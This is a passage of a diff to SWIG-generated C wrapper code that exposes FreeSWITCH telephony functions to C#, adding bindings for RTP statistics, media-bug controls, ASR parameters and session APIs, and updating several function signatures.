+SWIGEXPORT char * SWIGSTDCALL CSharp_SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE_get() {
+  char * jresult ;
+  char *result = 0 ;
+  
+  result = (char *) "originator_video_codec";
+  
+  jresult = SWIG_csharp_string_callback((const char *)result); 
+  return jresult;
+}
+
+
 SWIGEXPORT char * SWIGSTDCALL CSharp_SWITCH_LOCAL_MEDIA_IP_VARIABLE_get() {
   char * jresult ;
   char *result = 0 ;
@@ -1433,6 +1488,17 @@
 }
 
 
+SWIGEXPORT char * SWIGSTDCALL CSharp_SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE_get() {
+  char * jresult ;
+  char *result = 0 ;
+  
+  result = (char *) "transfer_after_bridge";
+  
+  jresult = SWIG_csharp_string_callback((const char *)result); 
+  return jresult;
+}
+
+
 SWIGEXPORT char * SWIGSTDCALL CSharp_SWITCH_EXEC_AFTER_BRIDGE_APP_VARIABLE_get() {
   char * jresult ;
   char *result = 0 ;
@@ -1521,6 +1587,17 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_SWITCH_DTMF_LOG_LEN_get() {
+  int jresult ;
+  int result;
+  
+  result = (int) 1000;
+  
+  jresult = result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_dtmf_t_digit_set(void * jarg1, char jarg2) {
   switch_dtmf_t *arg1 = (switch_dtmf_t *) 0 ;
   char arg2 ;
@@ -2374,6 +2451,351 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_rtp_numbers_t_raw_bytes_set(void * jarg1, void * jarg2) {
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->raw_bytes = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_numbers_t_raw_bytes_get(void * jarg1) {
+  void * jresult ;
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t result;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  result =  ((arg1)->raw_bytes);
+  jresult = new switch_size_t((switch_size_t &)result); 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_rtp_numbers_t_media_bytes_set(void * jarg1, void * jarg2) {
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->media_bytes = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_numbers_t_media_bytes_get(void * jarg1) {
+  void * jresult ;
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t result;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  result =  ((arg1)->media_bytes);
+  jresult = new switch_size_t((switch_size_t &)result); 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_rtp_numbers_t_packet_count_set(void * jarg1, void * jarg2) {
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->packet_count = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_numbers_t_packet_count_get(void * jarg1) {
+  void * jresult ;
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t result;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  result =  ((arg1)->packet_count);
+  jresult = new switch_size_t((switch_size_t &)result); 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_rtp_numbers_t_media_packet_count_set(void * jarg1, void * jarg2) {
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->media_packet_count = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_numbers_t_media_packet_count_get(void * jarg1) {
+  void * jresult ;
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t result;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  result =  ((arg1)->media_packet_count);
+  jresult = new switch_size_t((switch_size_t &)result); 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_rtp_numbers_t_skip_packet_count_set(void * jarg1, void * jarg2) {
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->skip_packet_count = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_numbers_t_skip_packet_count_get(void * jarg1) {
+  void * jresult ;
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t result;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  result =  ((arg1)->skip_packet_count);
+  jresult = new switch_size_t((switch_size_t &)result); 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_rtp_numbers_t_jb_packet_count_set(void * jarg1, void * jarg2) {
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->jb_packet_count = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_numbers_t_jb_packet_count_get(void * jarg1) {
+  void * jresult ;
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t result;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  result =  ((arg1)->jb_packet_count);
+  jresult = new switch_size_t((switch_size_t &)result); 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_rtp_numbers_t_dtmf_packet_count_set(void * jarg1, void * jarg2) {
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->dtmf_packet_count = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_numbers_t_dtmf_packet_count_get(void * jarg1) {
+  void * jresult ;
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t result;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  result =  ((arg1)->dtmf_packet_count);
+  jresult = new switch_size_t((switch_size_t &)result); 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_rtp_numbers_t_cng_packet_count_set(void * jarg1, void * jarg2) {
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->cng_packet_count = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_numbers_t_cng_packet_count_get(void * jarg1) {
+  void * jresult ;
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t result;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  result =  ((arg1)->cng_packet_count);
+  jresult = new switch_size_t((switch_size_t &)result); 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_rtp_numbers_t_flush_packet_count_set(void * jarg1, void * jarg2) {
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->flush_packet_count = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_numbers_t_flush_packet_count_get(void * jarg1) {
+  void * jresult ;
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  switch_size_t result;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  result =  ((arg1)->flush_packet_count);
+  jresult = new switch_size_t((switch_size_t &)result); 
+  return jresult;
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_new_switch_rtp_numbers_t() {
+  void * jresult ;
+  switch_rtp_numbers_t *result = 0 ;
+  
+  result = (switch_rtp_numbers_t *)new switch_rtp_numbers_t();
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_delete_switch_rtp_numbers_t(void * jarg1) {
+  switch_rtp_numbers_t *arg1 = (switch_rtp_numbers_t *) 0 ;
+  
+  arg1 = (switch_rtp_numbers_t *)jarg1; 
+  delete arg1;
+  
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_rtp_stats_t_inbound_set(void * jarg1, void * jarg2) {
+  switch_rtp_stats_t *arg1 = (switch_rtp_stats_t *) 0 ;
+  switch_rtp_numbers_t *arg2 = (switch_rtp_numbers_t *) 0 ;
+  
+  arg1 = (switch_rtp_stats_t *)jarg1; 
+  arg2 = (switch_rtp_numbers_t *)jarg2; 
+  if (arg1) (arg1)->inbound = *arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_stats_t_inbound_get(void * jarg1) {
+  void * jresult ;
+  switch_rtp_stats_t *arg1 = (switch_rtp_stats_t *) 0 ;
+  switch_rtp_numbers_t *result = 0 ;
+  
+  arg1 = (switch_rtp_stats_t *)jarg1; 
+  result = (switch_rtp_numbers_t *)& ((arg1)->inbound);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_rtp_stats_t_outbound_set(void * jarg1, void * jarg2) {
+  switch_rtp_stats_t *arg1 = (switch_rtp_stats_t *) 0 ;
+  switch_rtp_numbers_t *arg2 = (switch_rtp_numbers_t *) 0 ;
+  
+  arg1 = (switch_rtp_stats_t *)jarg1; 
+  arg2 = (switch_rtp_numbers_t *)jarg2; 
+  if (arg1) (arg1)->outbound = *arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_rtp_stats_t_outbound_get(void * jarg1) {
+  void * jresult ;
+  switch_rtp_stats_t *arg1 = (switch_rtp_stats_t *) 0 ;
+  switch_rtp_numbers_t *result = 0 ;
+  
+  arg1 = (switch_rtp_stats_t *)jarg1; 
+  result = (switch_rtp_numbers_t *)& ((arg1)->outbound);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_new_switch_rtp_stats_t() {
+  void * jresult ;
+  switch_rtp_stats_t *result = 0 ;
+  
+  result = (switch_rtp_stats_t *)new switch_rtp_stats_t();
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_delete_switch_rtp_stats_t(void * jarg1) {
+  switch_rtp_stats_t *arg1 = (switch_rtp_stats_t *) 0 ;
+  
+  arg1 = (switch_rtp_stats_t *)jarg1; 
+  delete arg1;
+  
+}
+
+
 SWIGEXPORT int SWIGSTDCALL CSharp_SWITCH_RTP_CNG_PAYLOAD_get() {
   int jresult ;
   int result;
@@ -3045,7 +3467,7 @@
   int jresult ;
   int result;
   
-  result = (int) 3;
+  result = (int) 4;
   
   jresult = result; 
   return jresult;
@@ -4876,6 +5298,34 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_media_bug_pause(void * jarg1) {
+  switch_core_session_t *arg1 = (switch_core_session_t *) 0 ;
+  
+  arg1 = (switch_core_session_t *)jarg1; 
+  switch_core_media_bug_pause(arg1);
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_media_bug_resume(void * jarg1) {
+  switch_core_session_t *arg1 = (switch_core_session_t *) 0 ;
+  
+  arg1 = (switch_core_session_t *)jarg1; 
+  switch_core_media_bug_resume(arg1);
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_media_bug_inuse(void * jarg1, void * jarg2, void * jarg3) {
+  switch_media_bug_t *arg1 = (switch_media_bug_t *) 0 ;
+  switch_size_t *arg2 = (switch_size_t *) 0 ;
+  switch_size_t *arg3 = (switch_size_t *) 0 ;
+  
+  arg1 = (switch_media_bug_t *)jarg1; 
+  arg2 = (switch_size_t *)jarg2; 
+  arg3 = (switch_size_t *)jarg3; 
+  switch_core_media_bug_inuse(arg1,arg2,arg3);
+}
+
+
 SWIGEXPORT void * SWIGSTDCALL CSharp_switch_core_media_bug_get_user_data(void * jarg1) {
   void * jresult ;
   switch_media_bug_t *arg1 = (switch_media_bug_t *) 0 ;
@@ -4972,6 +5422,20 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_media_bug_remove_callback(void * jarg1, void * jarg2) {
+  int jresult ;
+  switch_core_session_t *arg1 = (switch_core_session_t *) 0 ;
+  switch_media_bug_callback_t arg2 = (switch_media_bug_callback_t) 0 ;
+  switch_status_t result;
+  
+  arg1 = (switch_core_session_t *)jarg1; 
+  arg2 = (switch_media_bug_callback_t)jarg2; 
+  result = (switch_status_t)switch_core_media_bug_remove_callback(arg1,arg2);
+  jresult = result; 
+  return jresult;
+}
+
+
 SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_media_bug_close(void * jarg1) {
   int jresult ;
   switch_media_bug_t **arg1 = (switch_media_bug_t **) 0 ;
@@ -4996,15 +5460,17 @@
 }
 
 
-SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_media_bug_read(void * jarg1, void * jarg2) {
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_media_bug_read(void * jarg1, void * jarg2, int jarg3) {
   int jresult ;
   switch_media_bug_t *arg1 = (switch_media_bug_t *) 0 ;
   switch_frame_t *arg2 = (switch_frame_t *) 0 ;
+  switch_bool_t arg3 ;
   switch_status_t result;
   
   arg1 = (switch_media_bug_t *)jarg1; 
   arg2 = (switch_frame_t *)jarg2; 
-  result = (switch_status_t)switch_core_media_bug_read(arg1,arg2);
+  arg3 = (switch_bool_t)jarg3; 
+  result = (switch_status_t)switch_core_media_bug_read(arg1,arg2,arg3);
   jresult = result; 
   return jresult;
 }
@@ -5268,6 +5734,32 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_memory_pool_set_data(void * jarg1, char * jarg2, void * jarg3) {
+  switch_memory_pool_t *arg1 = (switch_memory_pool_t *) 0 ;
+  char *arg2 = (char *) 0 ;
+  void *arg3 = (void *) 0 ;
+  
+  arg1 = (switch_memory_pool_t *)jarg1; 
+  arg2 = (char *)jarg2; 
+  arg3 = (void *)jarg3; 
+  switch_core_memory_pool_set_data(arg1,(char const *)arg2,arg3);
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_core_memory_pool_get_data(void * jarg1, char * jarg2) {
+  void * jresult ;
+  switch_memory_pool_t *arg1 = (switch_memory_pool_t *) 0 ;
+  char *arg2 = (char *) 0 ;
+  void *result = 0 ;
+  
+  arg1 = (switch_memory_pool_t *)jarg1; 
+  arg2 = (char *)jarg2; 
+  result = (void *)switch_core_memory_pool_get_data(arg1,(char const *)arg2);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_session_run(void * jarg1) {
   switch_core_session_t *arg1 = (switch_core_session_t *) 0 ;
   
@@ -5464,17 +5956,19 @@
 }
 
 
-SWIGEXPORT void * SWIGSTDCALL CSharp_switch_core_session_request_uuid(void * jarg1, void * jarg2, char * jarg3) {
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_core_session_request_uuid(void * jarg1, int jarg2, void * jarg3, char * jarg4) {
   void * jresult ;
   switch_endpoint_interface_t *arg1 = (switch_endpoint_interface_t *) 0 ;
-  switch_memory_pool_t **arg2 = (switch_memory_pool_t **) 0 ;
-  char *arg3 = (char *) 0 ;
+  switch_call_direction_t arg2 ;
+  switch_memory_pool_t **arg3 = (switch_memory_pool_t **) 0 ;
+  char *arg4 = (char *) 0 ;
   switch_core_session_t *result = 0 ;
   
   arg1 = (switch_endpoint_interface_t *)jarg1; 
-  arg2 = (switch_memory_pool_t **)jarg2; 
-  arg3 = (char *)jarg3; 
-  result = (switch_core_session_t *)switch_core_session_request_uuid(arg1,arg2,(char const *)arg3);
+  arg2 = (switch_call_direction_t)jarg2; 
+  arg3 = (switch_memory_pool_t **)jarg3; 
+  arg4 = (char *)jarg4; 
+  result = (switch_core_session_t *)switch_core_session_request_uuid(arg1,arg2,arg3,(char const *)arg4);
   jresult = (void *)result; 
   return jresult;
 }
@@ -5508,6 +6002,22 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_session_destroy_state(void * jarg1) {
+  switch_core_session_t *arg1 = (switch_core_session_t *) 0 ;
+  
+  arg1 = (switch_core_session_t *)jarg1; 
+  switch_core_session_destroy_state(arg1);
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_session_reporting_state(void * jarg1) {
+  switch_core_session_t *arg1 = (switch_core_session_t *) 0 ;
+  
+  arg1 = (switch_core_session_t *)jarg1; 
+  switch_core_session_reporting_state(arg1);
+}
+
+
 SWIGEXPORT unsigned long SWIGSTDCALL CSharp_switch_core_session_count() {
   unsigned long jresult ;
   uint32_t result;
@@ -5540,15 +6050,17 @@
 }
 
 
-SWIGEXPORT void * SWIGSTDCALL CSharp_switch_core_session_request_by_name(char * jarg1, void * jarg2) {
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_core_session_request_by_name(char * jarg1, int jarg2, void * jarg3) {
   void * jresult ;
   char *arg1 = (char *) 0 ;
-  switch_memory_pool_t **arg2 = (switch_memory_pool_t **) 0 ;
+  switch_call_direction_t arg2 ;
+  switch_memory_pool_t **arg3 = (switch_memory_pool_t **) 0 ;
   switch_core_session_t *result = 0 ;
   
   arg1 = (char *)jarg1; 
-  arg2 = (switch_memory_pool_t **)jarg2; 
-  result = (switch_core_session_t *)switch_core_session_request_by_name((char const *)arg1,arg2);
+  arg2 = (switch_call_direction_t)jarg2; 
+  arg3 = (switch_memory_pool_t **)jarg3; 
+  result = (switch_core_session_t *)switch_core_session_request_by_name((char const *)arg1,arg2,arg3);
   jresult = (void *)result; 
   return jresult;
 }
@@ -5620,6 +6132,18 @@
 }
 
 
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_core_session_force_locate(char * jarg1) {
+  void * jresult ;
+  char *arg1 = (char *) 0 ;
+  switch_core_session_t *result = 0 ;
+  
+  arg1 = (char *)jarg1; 
+  result = (switch_core_session_t *)switch_core_session_force_locate((char const *)arg1);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
 SWIGEXPORT char * SWIGSTDCALL CSharp_switch_core_get_variable(char * jarg1) {
   char * jresult ;
   char *arg1 = (char *) 0 ;
@@ -5680,6 +6204,20 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_session_get_partner(void * jarg1, void * jarg2) {
+  int jresult ;
+  switch_core_session_t *arg1 = (switch_core_session_t *) 0 ;
+  switch_core_session_t **arg2 = (switch_core_session_t **) 0 ;
+  switch_status_t result;
+  
+  arg1 = (switch_core_session_t *)jarg1; 
+  arg2 = (switch_core_session_t **)jarg2; 
+  result = (switch_status_t)switch_core_session_get_partner(arg1,arg2);
+  jresult = result; 
+  return jresult;
+}
+
+
 SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_session_message_send(char * jarg1, void * jarg2) {
   int jresult ;
   char *arg1 = (char *) 0 ;
@@ -6034,15 +6572,17 @@
 }
 
 
-SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_session_dequeue_event(void * jarg1, void * jarg2) {
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_session_dequeue_event(void * jarg1, void * jarg2, int jarg3) {
   int jresult ;
   switch_core_session_t *arg1 = (switch_core_session_t *) 0 ;
   switch_event_t **arg2 = (switch_event_t **) 0 ;
+  switch_bool_t arg3 ;
   switch_status_t result;
   
   arg1 = (switch_core_session_t *)jarg1; 
   arg2 = (switch_event_t **)jarg2; 
-  result = (switch_status_t)switch_core_session_dequeue_event(arg1,arg2);
+  arg3 = (switch_bool_t)jarg3; 
+  result = (switch_status_t)switch_core_session_dequeue_event(arg1,arg2,arg3);
   jresult = result; 
   return jresult;
 }
@@ -7093,21 +7633,19 @@
 }
 
 
-SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_speech_read_tts(void * jarg1, void * jarg2, void * jarg3, void * jarg4, void * jarg5) {
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_speech_read_tts(void * jarg1, void * jarg2, void * jarg3, void * jarg4) {
   int jresult ;
   switch_speech_handle_t *arg1 = (switch_speech_handle_t *) 0 ;
   void *arg2 = (void *) 0 ;
   switch_size_t *arg3 = (switch_size_t *) 0 ;
-  uint32_t *arg4 = (uint32_t *) 0 ;
-  switch_speech_flag_t *arg5 = (switch_speech_flag_t *) 0 ;
+  switch_speech_flag_t *arg4 = (switch_speech_flag_t *) 0 ;
   switch_status_t result;
   
   arg1 = (switch_speech_handle_t *)jarg1; 
   arg2 = (void *)jarg2; 
   arg3 = (switch_size_t *)jarg3; 
-  arg4 = (uint32_t *)jarg4; 
-  arg5 = (switch_speech_flag_t *)jarg5; 
-  result = (switch_status_t)switch_core_speech_read_tts(arg1,arg2,arg3,arg4,arg5);
+  arg4 = (switch_speech_flag_t *)jarg4; 
+  result = (switch_status_t)switch_core_speech_read_tts(arg1,arg2,arg3,arg4);
   jresult = result; 
   return jresult;
 }
@@ -7267,6 +7805,54 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_asr_start_input_timers(void * jarg1) {
+  int jresult ;
+  switch_asr_handle_t *arg1 = (switch_asr_handle_t *) 0 ;
+  switch_status_t result;
+  
+  arg1 = (switch_asr_handle_t *)jarg1; 
+  result = (switch_status_t)switch_core_asr_start_input_timers(arg1);
+  jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_asr_text_param(void * jarg1, char * jarg2, char * jarg3) {
+  switch_asr_handle_t *arg1 = (switch_asr_handle_t *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  
+  arg1 = (switch_asr_handle_t *)jarg1; 
+  arg2 = (char *)jarg2; 
+  arg3 = (char *)jarg3; 
+  switch_core_asr_text_param(arg1,arg2,(char const *)arg3);
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_asr_numeric_param(void * jarg1, char * jarg2, int jarg3) {
+  switch_asr_handle_t *arg1 = (switch_asr_handle_t *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int arg3 ;
+  
+  arg1 = (switch_asr_handle_t *)jarg1; 
+  arg2 = (char *)jarg2; 
+  arg3 = (int)jarg3; 
+  switch_core_asr_numeric_param(arg1,arg2,arg3);
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_asr_float_param(void * jarg1, char * jarg2, double jarg3) {
+  switch_asr_handle_t *arg1 = (switch_asr_handle_t *) 0 ;
+  char *arg2 = (char *) 0 ;
+  double arg3 ;
+  
+  arg1 = (switch_asr_handle_t *)jarg1; 
+  arg2 = (char *)jarg2; 
+  arg3 = (double)jarg3; 
+  switch_core_asr_float_param(arg1,arg2,arg3);
+}
+
+
 SWIGEXPORT int SWIGSTDCALL CSharp_switch_core_directory_open(void * jarg1, char * jarg2, char * jarg3, char * jarg4, char * jarg5, void * jarg6) {
   int jresult ;
   switch_directory_handle_t *arg1 = (switch_directory_handle_t *) 0 ;
@@ -7495,18 +8081,6 @@
 }
 
 
-SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_launch_thread(void * jarg1, void * jarg2, void * jarg3) {
-  void *(*arg1)(switch_thread_t *,void *) = (void *(*)(switch_thread_t *,void *)) 0 ;
-  void *arg2 = (void *) 0 ;
-  switch_memory_pool_t *arg3 = (switch_memory_pool_t *) 0 ;
-  
-  arg1 = (void *(*)(switch_thread_t *,void *))jarg1; 
-  arg2 = (void *)jarg2; 
-  arg3 = (switch_memory_pool_t *)jarg3; 
-  switch_core_launch_thread(arg1,arg2,arg3);
-}
-
-
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_core_set_globals() {
   switch_core_set_globals();
 }
@@ -7604,11 +8178,11 @@
 }
 
 
-SWIGEXPORT void * SWIGSTDCALL CSharp_switch_timestamp_now() {
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_micro_time_now() {
   void * jresult ;
   switch_time_t result;
   
-  result = switch_timestamp_now();
+  result = switch_micro_time_now();
   jresult = new switch_time_t((switch_time_t &)result); 
   return jresult;
 }
@@ -7644,13 +8218,13 @@
 }
 
 
-SWIGEXPORT void * SWIGSTDCALL CSharp_switch_timestamp(void * jarg1) {
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_epoch_time_now(void * jarg1) {
   void * jresult ;
   time_t *arg1 = (time_t *) 0 ;
   time_t result;
   
   arg1 = (time_t *)jarg1; 
-  result = switch_timestamp(arg1);
+  result = switch_epoch_time_now(arg1);
   jresult = new time_t((time_t &)result); 
   return jresult;
 }
@@ -7881,6 +8455,20 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_stream_write_file_contents(void * jarg1, char * jarg2) {
+  int jresult ;
+  switch_stream_handle_t *arg1 = (switch_stream_handle_t *) 0 ;
+  char *arg2 = (char *) 0 ;
+  switch_status_t result;
+  
+  arg1 = (switch_stream_handle_t *)jarg1; 
+  arg2 = (char *)jarg2; 
+  result = (switch_status_t)switch_stream_write_file_contents(arg1,(char const *)arg2);
+  jresult = result; 
+  return jresult;
+}
+
+
 SWIGEXPORT int SWIGSTDCALL CSharp_switch_toupper(int jarg1) {
   int jresult ;
   int arg1 ;
@@ -8071,6 +8659,18 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_string_has_escaped_data(char * jarg1) {
+  int jresult ;
+  char *arg1 = (char *) 0 ;
+  int result;
+  
+  arg1 = (char *)jarg1; 
+  result = (int)switch_string_has_escaped_data((char const *)arg1);
+  jresult = result; 
+  return jresult;
+}
+
+
 SWIGEXPORT int SWIGSTDCALL CSharp_switch_b64_encode(void * jarg1, void * jarg2, void * jarg3, void * jarg4) {
   int jresult ;
   unsigned char *arg1 = (unsigned char *) 0 ;
@@ -8179,17 +8779,65 @@
 }
 
 
-SWIGEXPORT int SWIGSTDCALL CSharp_switch_find_local_ip(char * jarg1, int jarg2, int jarg3) {
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_frame_alloc(void * jarg1, void * jarg2) {
   int jresult ;
+  switch_frame_t **arg1 = (switch_frame_t **) 0 ;
+  switch_size_t arg2 ;
+  switch_status_t result;
